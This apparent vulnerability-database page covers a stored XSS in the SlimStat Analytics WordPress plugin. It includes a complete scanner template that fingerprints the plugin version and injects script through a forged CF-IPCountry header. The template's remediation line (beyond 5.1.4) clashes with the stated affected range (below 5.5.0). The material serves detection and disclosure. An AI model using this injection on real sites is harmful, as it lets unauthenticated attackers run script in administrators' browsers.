CVE-2026-12592: SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header

2026-11-09 PoC Public

Description

SlimStat Analytics WordPress plugin < 5.5.0 contains a stored XSS caused by unescaped visitor-controlled geolocation value in admin analytics reports, letting unauthenticated visitors execute scripts in admin browsers, exploit requires Cloudflare geolocation provider configuration.

Details

CVE
CVE-2026-12592 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-12592

info:
  name: SlimStat Analytics < 5.5.0 - Unauthenticated Stored XSS via CF-IPCountry Header
  author: yaswanth
  severity: high
  description: |
    SlimStat Analytics WordPress plugin < 5.5.0 contains a stored XSS caused by unescaped visitor-controlled geolocation value in admin analytics reports, letting unauthenticated visitors execute scripts in admin browsers, exploit requires Cloudflare geolocation provider configuration.
  impact: |
    Unauthenticated attackers can execute scripts in administrator browsers, potentially leading to session hijacking or full admin control.
  remediation: |
    Update to the latest version beyond 5.1.4.
  reference:
    - https://wpscan.com/vulnerability/3658cae6-f6ae-4ecc-8d74-bb402e61f5d5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12592
    - https://wordpress.org/plugins/wp-slimstat/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-12592
    epss-score: 0.00352
    epss-percentile: 0.29102
    cwe-id: CWE-79
  metadata:
    max-request: 2
    vendor: wp-slimstat
    product: slimstat-analytics
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-slimstat"
  tags: cve,cve2026,wordpress,wp-plugin,wp-slimstat,unauth,xss,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-slimstat/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: lsversion
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl

        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(lsversion, "< 5.5.0")'
        condition: and

  - raw:
      - |
        POST /wp-json/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080
      - |
        POST /?rest_route=/slimstat/v1/hit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        CF-Ray: 8aabbccddeeff001-SJC
        CF-IPCountry: "onload="print()
        Referer: {{RootURL}}/

        res=1920x1080

    stop-at-first-match: true

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - 'regex("^[0-9]+\\.[a-f0-9]{32,64}$", body)'

    extractors:
      - type: dsl
        dsl:
          - 'lsversion'
# digest: 4a0a0047304502207ad42a9192f37165991804339e909188cd921f35fd3a58b95a071c45fe260eb10221009f8e52347a2c028686a2cf4a48e28596626bff22843291c1d39ddab2a8c89c1c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life